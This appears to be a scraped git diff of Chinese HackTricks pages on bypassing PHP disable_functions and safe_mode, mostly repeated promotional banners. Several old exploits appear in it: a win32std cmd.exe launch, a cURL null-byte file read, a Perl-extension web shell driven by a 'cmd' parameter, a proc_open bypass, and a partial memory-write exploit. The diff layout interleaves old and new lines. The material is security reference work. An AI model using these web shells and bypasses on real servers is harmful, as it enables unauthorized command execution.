其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
# PHP 5.2.3 - Win32std ext Protections Bypass # PHP 5.2.3 - Win32std 扩展保护绕过
来自[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) 来自 [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php ```php
<?php <?php
//PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass //PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass
@ -39,16 +40,17 @@ system("cmd.exe"); //just to be sure that protections work well
win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe"); win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
?> ?>
``` ```
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
# PHP 5.2.4和5.2.5 PHP cURL # PHP 5.2.4 5.2.5 PHP cURL
来自[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) 来自 [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```text ```text
source: http://www.securityfocus.com/bid/27413/info source: http://www.securityfocus.com/bid/27413/info
@ -27,16 +28,17 @@ The issue affects PHP 5.2.5 and 5.2.4.
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00&quot;.__FILE__))); var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00&quot;.__FILE__)));
``` ```
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
# PHP &lt;= 5.2.9 on windows # PHP <= 5.2.9 在 Windows 上
源:[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) 自 [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
{% tabs %} {% tabs %}
{% tab title="exploit.php" %} {% tab title="exploit.php" %}
@ -84,16 +85,17 @@ exit
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
# PHP Perl Extension Safe\_mode Bypass Exploit # PHP Perl 扩展 Safe\_mode 绕过漏洞
来自[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) 来自 [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php ```php
<?php <?php
@ -41,16 +42,17 @@ echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25>
?> ?>
``` ```
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
# 通过proc\_open\(\)和自定义环境利用绕过PHP safe\_mode # 通过 proc\_open\(\) 和自定义环境利用 PHP safe\_mode 绕过
源:[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) 自 [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php ```php
<!--p $path="/var/www"; //change to your writable path $a=fopen($path."/.comm","w"); fputs($a,$_GET["c"]); fclose($a); $descriptorspec = array( 0--> array("pipe", "r"), <!--p $path="/var/www"; //change to your writable path $a=fopen($path."/.comm","w"); fputs($a,$_GET["c"]); fclose($a); $descriptorspec = array( 0--> array("pipe", "r"),
1 =&gt; array("file", $path."/output.txt","w"), 1 =&gt; array("file", $path."/output.txt","w"),
@ -27,16 +28,17 @@ while (!feof($a))
?&gt;; ?&gt;;
</strong> </strong>
``` ```
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
# 通过内存 # 通过内存
来自[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) 来自 [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php ```php
<?php <?php
/* /*
@ -142,16 +143,17 @@ exit;
} }
echo "[-] Write failed. Exiting\n"; echo "[-] Write failed. Exiting\n";
``` ```
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,19 +1,20 @@
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
